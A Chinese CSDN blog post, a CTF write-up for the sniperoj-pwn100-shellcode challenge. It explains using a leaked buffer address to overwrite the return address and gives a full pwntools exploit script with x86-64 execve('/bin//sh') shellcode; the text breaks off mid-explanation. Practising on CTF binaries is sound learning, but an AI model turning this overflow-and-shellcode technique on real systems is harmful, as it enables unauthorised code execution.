20.03.25(还有sniperoj-pwn100-shellcode-x86-64的wp)

本文是作者关于Pwn挑战的做题记录,主要介绍了sniperoj-pwn100-shellcode的问题解决过程。由于PIE的开启,地址动态变化,但通过找到buf地址可以控制栈来让IP指向shellcode。exp中提到,由于位移和限制,shellcode大小需小于等于0x20字节。此外,文章提出了一个问题:为何不直接使用打印出的地址并在EIP前的0x20字节内写shellcode,这留给读者思考。
摘要由CSDN通过智能技术生成

Pwn的做题记录:
       来自两届BJD都被暴打的彩笔总结(第一届还没学导致pwn爆零,第二届才学两天导致只做出一道pwnQAQ)
       sniperoj-pwn100-shellcode的wp       :
       因为开启了PIE所以,地址在变化(断点什么的基本不可以设置地址了)但通过printf("Do your kown what is it : [%p] ?\n", &buf, 0LL, 0LL);我们便知道了buf的地址,相对应的,我们就取得了栈的地址,就可以通过覆盖让ip指向我们的shellcode啦~
exp如下:
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
s=process('/home/thu1e/Desktop/shellcode')
s.recvuntil('[')`` ``addr=s.recvuntil(']',drop=True)
address=int(addr,16)+24+8
payload=('a'*24+p64(address)+"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")

s.sendline(payload)
s.interactive()
       因为之前计算出位移为24字节(填充垃圾栈的大小+

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值